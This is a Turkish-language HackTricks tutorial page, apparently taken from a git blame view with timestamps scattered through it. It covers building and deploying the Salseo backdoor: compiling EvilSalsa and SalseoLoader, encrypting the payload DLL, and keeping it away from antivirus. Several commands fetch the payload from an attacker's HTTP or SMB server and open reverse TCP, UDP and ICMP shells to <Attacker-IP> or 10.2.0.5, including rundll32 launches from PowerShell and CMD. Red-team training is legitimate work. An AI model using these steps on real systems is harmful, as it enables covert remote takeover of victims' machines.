2022-08-04 20:47:35 +00:00
# Salseo
2022-04-28 16:01:33 +00:00
2024-07-18 17:54:59 +00:00
{% hint style="success" %}
AWS Hacking'ı öğrenin ve uygulayı n: < img src = "/.gitbook/assets/arte.png" alt = "" data-size = "line" > [**HackTricks Eğitim AWS Kı rmı zı Takı m Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)< img src = "/.gitbook/assets/arte.png" alt = "" data-size = "line" > \
GCP Hacking'i öğrenin ve uygulayı n: < img src = "/.gitbook/assets/grte.png" alt = "" data-size = "line" > [**HackTricks Eğitim GCP Kı rmı zı Takı m Uzmanı (GRTE)**< img src = "/.gitbook/assets/grte.png" alt = "" data-size = "line" > ](https://training.hacktricks.xyz/courses/grte)
2022-04-28 16:01:33 +00:00
2024-07-18 17:54:59 +00:00
< details >
2022-04-28 16:01:33 +00:00
2024-07-18 17:54:59 +00:00
< summary > HackTricks'i Destekleyin< / summary >
2023-12-30 10:12:47 +00:00
2024-07-18 17:54:59 +00:00
* [**Abonelik planları nı ** ](https://github.com/sponsors/carlospolop ) kontrol edin!
* 💬 [**Discord grubuna** ](https://discord.gg/hRep4RUj7f ) katı lı n veya [**telegram grubuna** ](https://t.me/peass ) katı lı n veya bizi **Twitter** 🐦 [**@hacktricks\_live** ](https://twitter.com/hacktricks\_live )**'da takip edin.**
* **Hacking püf noktaları nı paylaşarak PR'ler göndererek** [**HackTricks** ](https://github.com/carlospolop/hacktricks ) ve [**HackTricks Cloud** ](https://github.com/carlospolop/hacktricks-cloud ) github depoları na katkı da bulunun.
2022-04-28 16:01:33 +00:00
< / details >
2024-07-18 17:54:59 +00:00
{% endhint %}
2022-04-28 16:01:33 +00:00
2024-07-18 17:54:59 +00:00
## Derlemeleri Oluşturma
2020-07-15 15:43:14 +00:00
2024-03-17 16:37:08 +00:00
Kaynak kodunu github'dan indirin ve **EvilSalsa** ve **SalseoLoader** 'ı derleyin. Kodu derlemek için **Visual Studio** 'nun yüklü olması gerekmektedir.
2020-07-15 15:43:14 +00:00
2024-07-18 17:54:59 +00:00
Bu projeleri, kullanacak olduğunuz Windows işletim sisteminin mimarisi için derleyin (Windows x64'ü destekliyorsa, bu mimari için derleyin).
2020-07-15 15:43:14 +00:00
2024-07-18 17:54:59 +00:00
Mimarisi **Visual Studio içinde** ** "Platform Target"** altı nda **sol "Build" Sekmesinde** seçebilirsiniz.
2020-07-15 15:43:14 +00:00
2024-07-18 17:54:59 +00:00
(\*\*Bu seçenekleri bulamazsanı z, ** "Project Tab"** üzerine tı klayı n ve ardı ndan ** "\<Project Name> Özellikleri"**ne tı klayı n)
2020-07-15 15:43:14 +00:00
2022-08-10 14:32:58 +00:00
![](< .. / . gitbook / assets / image ( 132 ) . png > )
2020-07-15 15:43:14 +00:00
2024-07-18 17:54:59 +00:00
Daha sonra, her iki projeyi de derleyin (Build -> Build Solution) (Log içinde yürütülebilir dosyanı n yolunu göreceksiniz):
2020-07-15 15:43:14 +00:00
2022-09-27 00:14:52 +00:00
![](< .. / . gitbook / assets / image ( 1 ) ( 2 ) ( 1 ) ( 1 ) ( 1 ) . png > )
2020-07-15 15:43:14 +00:00
2024-02-10 18:14:16 +00:00
## Arka Kapı yı Hazı rlama
2020-07-15 15:43:14 +00:00
2024-07-18 17:54:59 +00:00
Öncelikle, **EvilSalsa.dll** 'yi kodlamalı sı nı z. Bunu yapmak için **encrypterassembly.py** adlı python betiğini kullanabilir veya **EncrypterAssembly** projesini derleyebilirsiniz:
2020-07-15 15:43:14 +00:00
2022-08-04 20:47:35 +00:00
### **Python**
2021-10-18 11:21:18 +00:00
```
2020-07-15 15:43:14 +00:00
python EncrypterAssembly/encrypterassembly.py < FILE > < PASSWORD > < OUTPUT_FILE >
python EncrypterAssembly/encrypterassembly.py EvilSalsax.dll password evilsalsa.dll.txt
```
2024-03-17 16:37:08 +00:00
### Windows
2021-10-18 11:21:18 +00:00
```
2020-07-15 15:43:14 +00:00
EncrypterAssembly.exe < FILE > < PASSWORD > < OUTPUT_FILE >
EncrypterAssembly.exe EvilSalsax.dll password evilsalsa.dll.txt
```
2024-03-17 16:37:08 +00:00
Şimdi Salseo işlemini gerçekleştirmek için ihtiyacı nı z olan her şeye sahipsiniz: **şifrelenmiş EvilDalsa.dll** ve **SalseoLoader'ı n ikili dosyası .**
2020-07-15 15:43:14 +00:00
2024-02-10 18:14:16 +00:00
**SalseoLoader.exe ikili dosyası nı makineye yükleyin. Herhangi bir AV tarafı ndan tespit edilmemeleri gerekiyor...**
2020-07-15 15:43:14 +00:00
2024-03-17 16:37:08 +00:00
## **Arka kapı yı çalı ştı rı n**
2020-07-15 15:43:14 +00:00
2024-07-18 17:54:59 +00:00
### **TCP ters kabuk almak (şifrelenmiş dll'yi HTTP üzerinden indirme)**
2020-07-15 15:43:14 +00:00
2024-07-18 17:54:59 +00:00
Ters kabuk dinleyici olarak nc'yi başlatmayı ve şifrelenmiş evilsalsa'yı sunmak için bir HTTP sunucusu başlatmayı unutmayı n.
2021-10-18 11:21:18 +00:00
```
2020-07-15 15:43:14 +00:00
SalseoLoader.exe password http://< Attacker-IP > /evilsalsa.dll.txt reversetcp < Attacker-IP > < Port >
```
2024-03-17 16:37:08 +00:00
### **Bir UDP ters kabuk almak (SMB üzerinden kodlanmı ş dll indirme)**
2020-07-15 15:43:14 +00:00
2024-03-29 21:18:23 +00:00
Ters kabuk dinleyici olarak nc'yi başlatmayı ve kodlanmı ş evilsalsa'yı sunmak için bir SMB sunucusu başlatmayı unutmayı n (impacket-smbserver).
2021-10-18 11:21:18 +00:00
```
2020-07-15 15:43:14 +00:00
SalseoLoader.exe password \\< Attacker-IP > /folder/evilsalsa.dll.txt reverseudp < Attacker-IP > < Port >
```
2024-07-18 17:54:59 +00:00
### **ICMP ters kabuk almak (şifrelenmiş dll zaten kurbanı n içinde)**
2020-07-15 15:43:14 +00:00
2024-03-29 21:18:23 +00:00
**Bu sefer ters kabuk almak için istemci tarafı nda özel bir araca ihtiyacı nı z var. İndirin:** [**https://github.com/inquisb/icmpsh** ](https://github.com/inquisb/icmpsh )
2020-07-15 15:43:14 +00:00
2024-02-10 18:14:16 +00:00
#### **ICMP Yanı tları nı Devre Dı şı Bı rakı n:**
2021-10-18 11:21:18 +00:00
```
2020-07-15 15:43:14 +00:00
sysctl -w net.ipv4.icmp_echo_ignore_all=1
#You finish, you can enable it again running:
sysctl -w net.ipv4.icmp_echo_ignore_all=0
```
2024-07-18 17:54:59 +00:00
#### İstemciyi çalı ştı rı n:
2021-10-18 11:21:18 +00:00
```
2020-07-15 15:43:14 +00:00
python icmpsh_m.py "< Attacker-IP > " "< Victm-IP > "
```
2024-03-17 16:37:08 +00:00
#### Kurbanı n içinde, salseo şeyini çalı ştı ralı m:
2021-10-18 11:21:18 +00:00
```
2020-07-15 15:43:14 +00:00
SalseoLoader.exe password C:/Path/to/evilsalsa.dll.txt reverseicmp < Attacker-IP >
```
2024-03-29 21:18:23 +00:00
## Ana işlevi dı şa aktaran DLL olarak SalseoLoader'ı derleme
2020-07-15 15:43:14 +00:00
2024-02-10 18:14:16 +00:00
Visual Studio kullanarak SalseoLoader projesini açı n.
2020-07-15 15:43:14 +00:00
2024-03-17 16:37:08 +00:00
### Ana işlevden önce ekle: \[DllExport]
2020-07-15 15:43:14 +00:00
2024-07-18 17:54:59 +00:00
![](< .. / . gitbook / assets / image ( 2 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) . png > )
2020-07-15 15:43:14 +00:00
2024-02-10 18:14:16 +00:00
### Bu projeye DllExport yükleyin
2020-07-15 15:43:14 +00:00
2024-07-18 17:54:59 +00:00
#### **Araçlar** --> **NuGet Paket Yöneticisi** --> **Çözüm İçin NuGet Paketlerini Yönet...**
2020-07-15 15:43:14 +00:00
2024-03-29 21:18:23 +00:00
![](< .. / . gitbook / assets / image ( 3 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) . png > )
2020-07-15 15:43:14 +00:00
2024-03-17 16:37:08 +00:00
#### **DllExport paketini arayı n (Gözat sekmesini kullanarak) ve Yükle'yi seçin (ve açı lan pencereyi kabul edin)**
2020-07-15 15:43:14 +00:00
2024-03-17 16:37:08 +00:00
![](< .. / . gitbook / assets / image ( 4 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) . png > )
2020-07-15 15:43:14 +00:00
2024-07-18 17:54:59 +00:00
Projeler klasörünüzde **DllExport.bat** ve **DllExport\_Configure.bat** dosyaları görünmelidir.
2020-07-15 15:43:14 +00:00
2024-02-10 18:14:16 +00:00
### DllExport'u kaldı rı n
2020-07-15 15:43:14 +00:00
2024-03-17 16:37:08 +00:00
**Kaldı r**'ı seçin (evet, tuhaf ama bana güvenin, gerekli)
2020-07-15 15:43:14 +00:00
2023-06-14 10:51:55 +00:00
![](< .. / . gitbook / assets / image ( 5 ) ( 1 ) ( 1 ) ( 2 ) ( 1 ) . png > )
2020-07-15 15:43:14 +00:00
2024-07-18 17:54:59 +00:00
### Visual Studio'yu kapatı n ve DllExport\_configure'ı çalı ştı rı n
2020-07-15 15:43:14 +00:00
2024-07-18 17:54:59 +00:00
Sadece **çı kı n** Visual Studio'dan
2020-07-15 15:43:14 +00:00
2024-02-10 18:14:16 +00:00
Ardı ndan, **SalseoLoader klasörüne** gidin ve **DllExport\_Configure.bat** 'ı çalı ştı rı n
2020-07-15 15:43:14 +00:00
2024-07-18 17:54:59 +00:00
**x64**'ü seçin (eğer x64 kutusunda kullanacaksanı z, benim durumumda olduğu gibi), **System.Runtime.InteropServices** 'ı seçin (**DllExport için Namespace** içinde) ve **Uygula** 'yı seçin
2020-07-15 15:43:14 +00:00
2023-12-27 23:58:16 +00:00
![](< .. / . gitbook / assets / image ( 7 ) ( 1 ) ( 1 ) ( 1 ) ( 1 ) . png > )
2020-07-15 15:43:14 +00:00
2024-02-10 18:14:16 +00:00
### Projeyi tekrar Visual Studio ile açı n
2020-07-15 15:43:14 +00:00
2024-02-10 18:14:16 +00:00
**\[DllExport]** artı k hata olarak işaretlenmemelidir
2020-07-15 15:43:14 +00:00
2023-06-13 10:12:02 +00:00
![](< .. / . gitbook / assets / image ( 8 ) ( 1 ) . png > )
2020-07-15 15:43:14 +00:00
2024-02-10 18:14:16 +00:00
### Çözümü derleyin
2020-07-15 15:43:14 +00:00
2024-03-17 16:37:08 +00:00
**Çı kı ş Türü = Sı nı f Kitaplı ğı ** seçin (Proje --> SalseoLoader Özellikleri --> Uygulama --> Çı kı ş türü = Sı nı f Kitaplı ğı )
2020-07-15 15:43:14 +00:00
2022-10-22 15:26:54 +00:00
![](< .. / . gitbook / assets / image ( 10 ) ( 1 ) . png > )
2020-07-15 15:43:14 +00:00
2024-03-17 16:37:08 +00:00
**x64 platformunu** seçin (Proje --> SalseoLoader Özellikleri --> Derleme --> Platform hedefi = x64)
2020-07-15 15:43:14 +00:00
2022-09-02 15:27:38 +00:00
![](< .. / . gitbook / assets / image ( 9 ) ( 1 ) ( 1 ) . png > )
2020-07-15 15:43:14 +00:00
2024-07-18 17:54:59 +00:00
Çözümü derlemek için: Derle --> Çözümü Derle (Çı ktı konsolunda yeni DLL'nin yolu görünecektir)
2020-07-15 15:43:14 +00:00
2024-02-10 18:14:16 +00:00
### Oluşturulan Dll'yi test edin
2020-07-15 15:43:14 +00:00
2024-07-18 17:54:59 +00:00
Dll'yi test etmek istediğiniz yere kopyalayı n ve yapı ştı rı n.
2020-07-15 15:43:14 +00:00
2024-03-17 16:37:08 +00:00
Çalı ştı r:
2021-10-18 11:21:18 +00:00
```
2020-07-15 15:43:14 +00:00
rundll32.exe SalseoLoader.dll,main
```
2024-03-17 16:37:08 +00:00
Eğer hata görünmüyorsa, muhtemelen işlevsel bir DLL'niz var!!
2020-07-15 15:43:14 +00:00
2024-02-10 18:14:16 +00:00
## DLL kullanarak bir kabuk alı n
2020-07-15 15:43:14 +00:00
2024-02-10 18:14:16 +00:00
Bir **HTTP** **sunucusu** kullanmayı ve bir **nc** **dinleyici** ayarlamayı unutmayı n
2020-07-15 15:43:14 +00:00
2022-08-04 20:47:35 +00:00
### Powershell
2021-10-18 11:21:18 +00:00
```
2020-07-15 15:43:14 +00:00
$env:pass="password"
$env:payload="http://10.2.0.5/evilsalsax64.dll.txt"
$env:lhost="10.2.0.5"
$env:lport="1337"
$env:shell="reversetcp"
rundll32.exe SalseoLoader.dll,main
```
2022-08-04 20:47:35 +00:00
### CMD
2020-07-15 15:43:14 +00:00
2024-03-17 16:37:08 +00:00
### CMD
2021-10-18 11:21:18 +00:00
```
2020-07-15 15:43:14 +00:00
set pass=password
set payload=http://10.2.0.5/evilsalsax64.dll.txt
set lhost=10.2.0.5
set lport=1337
set shell=reversetcp
rundll32.exe SalseoLoader.dll,main
```
2024-07-18 17:54:59 +00:00
{% hint style="success" %}
AWS Hacking'ı öğrenin ve uygulayı n: < img src = "/.gitbook/assets/arte.png" alt = "" data-size = "line" > [**HackTricks Eğitim AWS Kı rmı zı Takı m Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)< img src = "/.gitbook/assets/arte.png" alt = "" data-size = "line" > \
GCP Hacking'ı öğrenin ve uygulayı n: < img src = "/.gitbook/assets/grte.png" alt = "" data-size = "line" > [**HackTricks Eğitim GCP Kı rmı zı Takı m Uzmanı (GRTE)**< img src = "/.gitbook/assets/grte.png" alt = "" data-size = "line" > ](https://training.hacktricks.xyz/courses/grte)
2022-04-28 16:01:33 +00:00
2024-07-18 17:54:59 +00:00
< details >
2022-04-28 16:01:33 +00:00
2024-07-18 17:54:59 +00:00
< summary > HackTricks'i Destekleyin< / summary >
2023-12-30 10:12:47 +00:00
2024-07-18 17:54:59 +00:00
* [**Abonelik planları nı ** ](https://github.com/sponsors/carlospolop ) kontrol edin!
* 💬 [**Discord grubuna** ](https://discord.gg/hRep4RUj7f ) katı lı n veya [**telegram grubuna** ](https://t.me/peass ) katı lı n veya bizi **Twitter** 🐦 [**@hacktricks\_live** ](https://twitter.com/hacktricks\_live )** takip edin.**
* **Hacking püf noktaları nı paylaşarak PR göndererek HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud** ](https://github.com/carlospolop/hacktricks-cloud ) github depoları na katkı da bulunun.
2022-04-28 16:01:33 +00:00
< / details >
2024-07-18 17:54:59 +00:00
{% endhint %}